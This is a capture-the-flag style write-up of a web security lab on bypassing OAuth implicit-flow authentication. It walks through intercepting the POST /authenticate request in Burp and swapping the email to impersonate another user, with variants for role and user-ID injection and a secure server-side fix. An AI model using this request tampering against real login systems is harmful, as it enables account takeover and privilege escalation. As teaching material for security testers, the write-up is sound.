Goal:

  • πŸ” Understand OAuth 2.0 implicit flow vulnerabilities
  • 🎯 Identify client-side validation flaws in OAuth implementation
  • πŸ”“ Bypass authentication by manipulating user data
  • πŸ‘€ Log in as user carlos@carlos-montoya.net
  • πŸš€ Learn OAuth flow interception and modification
  • πŸŽ‰ Complete lab

🧠 Concept Recap

OAuth Implicit Flow Authentication Bypass exploits weak validation in client applications that trust user data received from OAuth providers without proper verification. When the client doesn't validate the access token against the user data, attackers can simply change the email address in the authentication request to impersonate any user.

πŸ“Š The Vulnerability

OAuth Implicit Flow Basics:

OAuth 2.0 Implicit Grant Type Flow:

User β†’ Client App β†’ OAuth Provider (Authorization)
                         ↓
                    Access Token
                         ↓
User ← Client App ← OAuth Provider (with user data)
Purpose:
└── Used for client-side applications (JavaScript apps)
    └── Access token returned directly in URL fragment
        └── No server-side exchange needed

The Security Flaw:

SECURE FLOW (Should happen):
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ 1. User authorizes at OAuth provider         β”‚
β”‚ 2. OAuth returns: access_token + email       β”‚
β”‚ 3. Client sends to /authenticate:            β”‚
β”‚    - access_token                            β”‚
β”‚    - email                                   β”‚
β”‚ 4. Server validates:                         β”‚
β”‚    βœ“ Verify access_token with OAuth provider β”‚
β”‚    βœ“ Confirm email matches token owner       β”‚
β”‚ 5. Session created for VERIFIED user         β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

VULNERABLE FLOW (What actually happens):
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ 1. User authorizes at OAuth provider         β”‚
β”‚ 2. OAuth returns: access_token + email       β”‚
β”‚ 3. Client sends to /authenticate:            β”‚
β”‚    - access_token                            β”‚
β”‚    - email                                   β”‚
β”‚ 4. Server "validates":                       β”‚
β”‚    βœ— Trusts email parameter blindly          β”‚
β”‚    βœ— Doesn't verify token matches email      β”‚
β”‚ 5. Session created for UNVERIFIED email      β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

The Attack:
└── Intercept POST /authenticate request
    └── Change email parameter to victim's email
        └── Keep valid access_token from your account
            └── Server creates session for victim!
                └── Authentication bypassed! βœ“

Why This Works:

Root cause: Implicit trust in client-side data

Normal OAuth flow:
POST /authenticate HTTP/1.1
{
  "email": "wiener@peter.com",      ← From OAuth (legitimate)
  "access_token": "abc123xyz",       ← Valid token for wiener
  "username": "wiener"
}
Server logic (VULNERABLE):
def authenticate(email, token, username):
    # βœ— WRONG: Assumes email matches token
    if valid_token(token):  # Just checks token exists
        create_session(email)  # Uses provided email!
        return "Success"
Attacker modifies:
POST /authenticate HTTP/1.1
{
  "email": "carlos@carlos-montoya.net",  ← Changed!
  "access_token": "abc123xyz",            ← Still valid for wiener
  "username": "wiener"
}
Server processes:
βœ“ Token valid? YES (it's wiener's valid token)
βœ“ Create session for: carlos@carlos-montoya.net
βœ— Never verified token belongs to carlos!
Result: Logged in as carlos! 🎯

πŸ› οΈ Step-by-Step Attack

πŸ”§ Step 1 β€” Access Lab and Login with Provided Credentials

  1. 🌐 Click "Access the lab"
  2. πŸ‘€ Click "My account" in top-right corner
  3. πŸ”— Click "Login with social media" button

OAuth login screen appears:

Social Media Login Page
β”œβ”€β”€ Client requesting access
β”œβ”€β”€ Permissions: Read email, username
└── Login credentials required

4. ✏️ Enter provided credentials:

  • Username: wiener
  • Password: peter

5. βœ… Click "Login" or "Authorize"

What happens:

OAuth Flow Initiated:
1. Blog redirects to OAuth provider
   └── URL: /auth?client_id=...&redirect_uri=...&response_type=token

2. User authenticates (wiener:peter)
   └── OAuth provider verifies credentials βœ“

3. OAuth returns access token + user data
   └── Redirect: /oauth-callback#access_token=...&email=wiener@...

4. Client extracts data from URL fragment
   └── JavaScript reads: access_token, email, username

5. Client POSTs to /authenticate
   └── Sends: token, email, username to server

6. Server creates session
   └── Redirects to /my-account

You're now logged in as wiener!

πŸ“‘ Step 2 β€” Analyze OAuth Flow in Burp Suite

  1. πŸ› οΈ Open Burp Suite β†’ Proxy β†’ HTTP history
  2. πŸ” Filter for recent requests

Look for this sequence:

Request Sequence:

1. GET /auth?client_id=xxxxx&redirect_uri=/oauth-callback&response_type=token&nonce=...&scope=openid%20profile%20email
   └── Initial authorization request

2. POST /login (to OAuth provider)
   └── Credentials: wiener:peter
   └── Response: 302 redirect

3. GET /oauth-callback#access_token=xxxxx&token_type=Bearer&expires_in=3600
   └── Callback with access token in URL fragment
   └── Note: Browser doesn't send fragments to server!

4. GET /oauth-callback (without fragment)
   └── Page loads JavaScript to extract token

5. POST /authenticate HTTP/1.1
   └── THIS IS THE CRITICAL REQUEST! ⚠️
   └── Contains user data to server

🎯 Step 3 β€” Locate the Authentication Request

Find POST /authenticate request:

POST /authenticate HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=xxxxx
Content-Type: application/json
Content-Length: 103

{
  "email": "wiener@hotdog.com",
  "username": "wiener",
  "token": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
}

OR in URL-encoded format:

POST /authenticate HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=xxxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

email=wiener@hotdog.com&username=wiener&token=xxxxxxxxxxx

Response:

HTTP/1.1 302 Found
Location: /my-account
Set-Cookie: session=NEW_SESSION_TOKEN; Path=/

Session created for wiener@hotdog.com

πŸ”„ Step 4 β€” Send Request to Repeater

  1. πŸ–±οΈ Right-click on POST /authenticate request
  2. πŸ“€ Select "Send to Repeater"
  3. πŸ“‹ Switch to Repeater tab

πŸ’‘ Step 5 β€” Modify Email to Carlos

Original request:

POST /authenticate HTTP/1.1
Host: 0a5b00f8031bc58c80b4567b00e500ae.web-security-academy.net
Cookie: session=V8bGPZ0rKsF5OqNqYD3p8rKH2l9yFmJx
Content-Type: application/json
Content-Length: 103

{
  "email": "wiener@hotdog.com",
  "username": "wiener",
  "token": "KLZabc123XYZ456def789GHI012jkl345mno678pqr901stu234vwx567yz890"
}

Modified request:

POST /authenticate HTTP/1.1
Host: 0a5b00f8031bc58c80b4567b00e500ae.web-security-academy.net
Cookie: session=V8bGPZ0rKsF5OqNqYD3p8rKH2l9yFmJx
Content-Type: application/json
Content-Length: 113

{
  "email": "carlos@carlos-montoya.net",
  "username": "wiener",
  "token": "KLZabc123XYZ456def789GHI012jkl345mno678pqr901stu234vwx567yz890"
}

Key changes:

Before: "email": "wiener@hotdog.com"
After:  "email": "carlos@carlos-montoya.net"

Keep unchanged:
β”œβ”€β”€ token: (same valid token from wiener's session)
└── username: "wiener" (optional, often ignored)

Update:
└── Content-Length: Adjust for new email length

πŸš€ Step 6 β€” Send Modified Request

  1. ✏️ Ensure email changed to: carlos@carlos-montoya.net
  2. πŸ”’ Update Content-Length if needed
  3. πŸš€ Click "Send"

Expected response:

HTTP/1.1 302 Found
Location: /my-account
Set-Cookie: session=NEW_SESSION_FOR_CARLOS; Path=/

Session created successfully

Or:

HTTP/1.1 200 OK
Content-Type: application/json

{
  "status": "success",
  "message": "Authentication successful"
}

Success indicators:

βœ“ Status: 200 OK or 302 Found
βœ“ New session cookie issued
βœ“ No error messages
βœ“ Location redirects to /my-account

🌐 Step 7 β€” Access Account in Browser

Method 1: Request in Browser (Recommended)

  1. πŸ–±οΈ Right-click on the modified POST /authenticate request in Repeater
  2. πŸ“‹ Select "Request in browser" β†’ "In original session"
  3. πŸ“‹ Copy the generated URL
  4. 🌐 Open browser (with Burp proxy enabled)
  5. πŸ“‹ Paste URL in address bar
  6. ⏎ Press Enter

Method 2: Manual Cookie Copy

  1. πŸ“‹ From response, copy new Set-Cookie value
  2. πŸ› οΈ Open browser Developer Tools (F12)
  3. πŸ“ Go to Console tab
  4. πŸ“‹ Paste: document.cookie="session=NEW_SESSION_TOKEN"
  5. πŸ”„ Navigate to /my-account

Method 3: Burp Browser

  1. πŸ–±οΈ Right-click modified request
  2. 🌐 Select "Open in Burp's browser"
  3. βœ… Automatically authenticated as carlos

πŸŽ‰ Step 8 β€” Verify Success

Browser should show:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  My Account                          β”‚
β”‚                                      β”‚
β”‚  Email: carlos@carlos-montoya.net    β”‚
β”‚  Username: carlos (or wiener)        β”‚
β”‚                                      β”‚
β”‚  [Update email]  [Logout]            β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Lab banner:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  βœ… Congratulations!                β”‚
β”‚                                     β”‚
β”‚  You successfully bypassed OAuth    β”‚
β”‚  authentication by manipulating     β”‚
β”‚  the email parameter!               β”‚
β”‚                                     β”‚
β”‚  Lab: Authentication bypass via     β”‚
β”‚       OAuth implicit flow           β”‚
β”‚  Status: SOLVED βœ“                   β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

πŸ”— Complete Attack Chain

Step 1: Access lab
         ↓
Step 2: Login with provided credentials (wiener:peter)
         └── Completes OAuth flow normally
         ↓
Step 3: Analyze traffic in Burp history
         └── Identify POST /authenticate request
         ↓
Step 4: Send POST /authenticate to Repeater
         ↓
Step 5: Modify email parameter
         └── Change: wiener@hotdog.com
         └── To: carlos@carlos-montoya.net
         └── Keep: Same valid access_token
         ↓
Step 6: Send modified request
         └── Response: 302 Found (new session)
         ↓
Step 7: Access /my-account with new session
         └── Method: "Request in browser"
         ↓
Step 8: Verify logged in as carlos
         └── Email shows: carlos@carlos-montoya.net βœ“
         ↓
Step 9: Lab solved! πŸŽ‰

βš™οΈ Understanding the Vulnerability

OAuth 2.0 Implicit Flow Review

Legitimate Flow:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”                    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Browser β”‚                    β”‚  Client  β”‚                β”‚  OAuth  β”‚
β”‚         β”‚                    β”‚   App    β”‚                β”‚ Providerβ”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
     β”‚                              β”‚                            β”‚
     β”‚  1. Click "Login with OAuth" β”‚                            β”‚
     │─────────────────────────────>β”‚                            β”‚
     β”‚                              β”‚                            β”‚
     β”‚  2. Redirect to OAuth        β”‚                            β”‚
     β”‚<─────────────────────────────│                            β”‚
     β”‚                              β”‚                            β”‚
     β”‚  3. GET /auth?client_id=...&redirect_uri=...              β”‚
     │──────────────────────────────────────────────────────────>β”‚
     β”‚                              β”‚                            β”‚
     β”‚  4. Login page (if not authenticated)                     β”‚
     β”‚<──────────────────────────────────────────────────────────│
     β”‚                              β”‚                            β”‚
     β”‚  5. POST /login (username:password)                       β”‚
     │──────────────────────────────────────────────────────────>β”‚
     β”‚                              β”‚                            β”‚
     β”‚  6. Authorization consent    β”‚                            β”‚
     β”‚<──────────────────────────────────────────────────────────│
     β”‚                              β”‚                            β”‚
     β”‚  7. User approves            β”‚                            β”‚
     │──────────────────────────────────────────────────────────>β”‚
     β”‚                              β”‚                            β”‚
     β”‚  8. Redirect to callback with token in URL fragment       β”‚
     β”‚     /callback#access_token=xxx&email=user@email.com       β”‚
     β”‚<──────────────────────────────────────────────────────────│
     β”‚                              β”‚                            β”‚
     β”‚  9. GET /callback (fragment not sent to server!)          β”‚
     │─────────────────────────────>β”‚                            β”‚
     β”‚                              β”‚                            β”‚
     β”‚ 10. JavaScript extracts token from fragment               β”‚
     β”‚                              β”‚                            β”‚
     β”‚ 11. POST /authenticate       β”‚                            β”‚
     β”‚     {email, username, token} β”‚                            β”‚
     │─────────────────────────────>β”‚                            β”‚
     β”‚                              β”‚                            β”‚
     β”‚                              β”‚ 12. βœ— SHOULD VALIDATE:     β”‚
     β”‚                              β”‚     Verify token with      β”‚
     β”‚                              β”‚     OAuth provider         β”‚
     β”‚                              β”‚     Confirm email matches  β”‚
     β”‚                              β”‚                            β”‚
     β”‚                              β”‚ 13. βœ— ACTUALLY DOES:       β”‚
     β”‚                              β”‚     Trusts email blindly   β”‚
     β”‚                              β”‚     Creates session        β”‚
     β”‚                              β”‚                            β”‚
     β”‚ 14. Session created          β”‚                            β”‚
     β”‚<─────────────────────────────│                            β”‚
     β”‚                              β”‚                            β”‚

The Critical Flaw

Server-side code (VULNERABLE):

# ❌ VULNERABLE VERSION

@app.route('/authenticate', methods=['POST'])
def authenticate():
    data = request.get_json()
    
    email = data.get('email')
    username = data.get('username')
    token = data.get('token')
    
    # Check if token exists and is valid format
    if token and len(token) > 10:  # Basic validation only!
        # βœ— CRITICAL FLAW: No verification with OAuth provider
        # βœ— Assumes email parameter matches token owner
        
        # Create session for provided email
        session_token = create_session(email)
        
        return jsonify({
            'status': 'success',
            'session': session_token
        }), 200
    
    return jsonify({'error': 'Invalid token'}), 401
# Problems:
# 1. Never validates token with OAuth provider
# 2. Blindly trusts email parameter
# 3. No verification that token belongs to email
# 4. Creates session for any email provided

Why Implicit Flow is Vulnerable

Implicit Flow Characteristics:

1. Access token in URL fragment
   └── Fragment: #access_token=xxx
       └── Never sent to server
           └── JavaScript must extract it
               └── Client-side processing

2. No server-side token exchange
   └── Authorization Code Flow: Server exchanges code for token
       └── Server can verify with OAuth provider
   └── Implicit Flow: Token directly to browser
       └── No server verification step
           └── Easier to manipulate

3. Client-side data assembly
   └── JavaScript extracts: token, email, username
       └── Sends via POST /authenticate
           └── All parameters controllable by attacker!

4. Trust boundary issue
   └── Server must trust client-provided data
       └── If no verification: Complete trust
           └── Authentication bypass possible

The vulnerability chain:
└── Implicit flow β†’ Client assembles data β†’ Server trusts data β†’ Bypass!

Real-World Scenarios

Scenario 1: Social Media Login

Vulnerable Application:
β”œβ”€β”€ "Login with Google" button
β”œβ”€β”€ Uses OAuth implicit flow
β”œβ”€β”€ Trusts email from client
└── No token verification

Attack:
1. Login with your Google account
2. Intercept POST /authenticate
3. Change email to victim's email
4. Access victim's account βœ“

Impact: Full account takeover

Scenario 2: Single Sign-On (SSO)

Vulnerable SSO Implementation:
β”œβ”€β”€ Corporate SSO using OAuth
β”œβ”€β”€ Multiple applications trust SSO
β”œβ”€β”€ Implicit flow with weak validation
└── Email-based access control

Attack:
1. Login with your corporate account
2. Modify email to admin@company.com
3. Access admin applications
4. Escalate privileges βœ“

Impact: Privilege escalation, data breach

Scenario 3: API Access

Vulnerable API:
β”œβ”€β”€ OAuth for API authentication
β”œβ”€β”€ Implicit flow for mobile apps
β”œβ”€β”€ Email determines API permissions
└── No token verification

Attack:
1. Legitimate user: user@company.com (read access)
2. Intercept OAuth callback
3. Change email to admin@company.com
4. POST /authenticate with admin email
5. Receive API token with admin permissions βœ“
Impact: Unauthorized API access, data exfiltration

πŸ”¬ Advanced Concepts

Why This Specific Attack Works

Token Validation Levels:

Level 0: No validation (This lab)
└── Server doesn't check token at all
    └── Any string accepted

Level 1: Format validation only (This lab)
└── Server checks token exists and has valid format
    └── But doesn't verify with OAuth provider
        └── Our attack succeeds here! βœ“

Level 2: Existence validation
└── Server queries OAuth provider: "Does this token exist?"
    └── Provider responds: Yes (it's wiener's token)
        └── But doesn't verify email matches
            └── Attack might still work!

Level 3: Full validation (SECURE)
└── Server queries: "Who owns this token?"
    └── Provider responds: wiener@hotdog.com
        └── Server compares with provided email
            └── Mismatch detected! βœ—
                └── Attack fails (secure)

This lab uses Level 1 or Level 2 validation
└── Token verified to exist
    └── But email not verified against token
        └── Authentication bypass possible! βœ“

OAuth Implicit Flow vs Authorization Code Flow

╔══════════════════════════════════════════════════════════╗
β•‘         Implicit Flow vs Authorization Code              β•‘
╠══════════════════════════════════════════════════════════╣
β•‘                                                          β•‘
β•‘  Aspect           β”‚ Implicit Flow      β”‚ Code Flow       β•‘
β•‘  ─────────────────┼────────────────────┼──────────────   β•‘
β•‘  Token location   β”‚ URL fragment       β”‚ Server-side     β•‘
β•‘  Client type      β”‚ JavaScript/Mobile  β”‚ Server apps     β•‘
β•‘  Token exposure   β”‚ High (browser)     β”‚ Low (server)    β•‘
β•‘  Refresh tokens   β”‚ No                 β”‚ Yes             β•‘
β•‘  Verification     β”‚ Client-side        β”‚ Server-side     β•‘
β•‘  Security         β”‚ Lower              β”‚ Higher          β•‘
β•‘  This attack      β”‚ Possible βœ“         β”‚ Harder βœ—       β•‘
β•‘                                                          β•‘
β•‘  Why Implicit Flow is vulnerable:                        β•‘
β•‘  β”œβ”€β”€ Access token visible in browser                     β•‘
β•‘  β”œβ”€β”€ No server-side token exchange                       β•‘
β•‘  β”œβ”€β”€ Client assembles authentication data                β•‘
β•‘  └── Easier to manipulate                                β•‘
β•‘                                                          β•‘
β•‘  Why Authorization Code Flow is safer:                   β•‘
β•‘  β”œβ”€β”€ Server exchanges code for token                     β•‘
β•‘  β”œβ”€β”€ Token never exposed to browser                      β•‘
β•‘  β”œβ”€β”€ Server directly validates with OAuth provider       β•‘
β•‘  └── Harder to bypass                                    β•‘
β•‘                                                          β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

Detection Techniques

Identifying OAuth Implicit Flow:

Look for these indicators:

1. Login button text:
   β”œβ”€β”€ "Login with Google"
   β”œβ”€β”€ "Sign in with Facebook"
   β”œβ”€β”€ "Continue with GitHub"
   └── "Use [Provider] Account"

2. Authorization URL:
   └── /auth?client_id=...&response_type=token
       └── response_type=token = Implicit Flow!
       └── response_type=code = Authorization Code Flow

3. Callback URL fragment:
   └── /callback#access_token=xxx&token_type=Bearer
       └── Token in fragment (#) = Implicit Flow

4. Network traffic:
   └── POST /authenticate immediately after callback
       └── Contains: email, token, username
           └── Vulnerable if no server verification!

5. Response headers:
   └── No token exchange with OAuth provider
       └── Direct session creation

Alternative Attack Vectors

Vector 1: Username Manipulation

POST /authenticate HTTP/1.1

{
  "email": "wiener@hotdog.com",
  "username": "carlos",
  "token": "valid_token"
}
If application uses username for access control:
└── Might create session as "carlos" user
    └── Even with wiener's email

Vector 2: User ID Injection

POST /authenticate HTTP/1.1

{
  "email": "wiener@hotdog.com",
  "user_id": "123",
  "token": "valid_token"
}
If application blindly trusts user_id:
└── Change user_id to victim's ID
    └── Access victim's account

Vector 3: Role/Permission Injection

POST /authenticate HTTP/1.1

{
  "email": "wiener@hotdog.com",
  "role": "admin",
  "token": "valid_token"
}
If application reads role from request:
└── Inject admin role
    └── Privilege escalation!

πŸ›‘οΈ How to Fix (Secure Code)

Fix 1: Always Verify Token with OAuth Provider

# βœ… SECURE VERSION

import requests
OAUTH_PROVIDER_URL = "https://oauth-provider.com"
@app.route('/authenticate', methods=['POST'])
def authenticate():
    data = request.get_json()
    
    email = data.get('email')
    token = data.get('token')
    
    # CRITICAL: Verify token with OAuth provider
    token_info = verify_access_token(token)
    
    if not token_info:
        return jsonify({'error': 'Invalid token'}), 401
    
    # CRITICAL: Verify email matches token owner
    if token_info['email'] != email:
        return jsonify({'error': 'Email mismatch'}), 403
    
    # Safe to create session
    session_token = create_session(token_info['email'])
    
    return jsonify({
        'status': 'success',
        'session': session_token
    }), 200
def verify_access_token(token):
    """Verify token with OAuth provider and get user info"""
    try:
        response = requests.get(
            f'{OAUTH_PROVIDER_URL}/userinfo',
            headers={'Authorization': f'Bearer {token}'},
            timeout=5
        )
        
        if response.status_code == 200:
            return response.json()
        
        return None
    
    except Exception as e:
        logger.error(f'Token verification failed: {e}')
        return None
# Benefits:
# βœ… Token verified with OAuth provider
# βœ… Email must match token owner
# βœ… No client-provided data trusted
# βœ… Authentication bypass prevented

πŸ‘ If this helped you β€” clap it up (you can clap up to 50 times!)

πŸ”” Follow for more writeups β€” dropping soon

πŸ”— Share with your pentest team

πŸ’¬ Drop a comment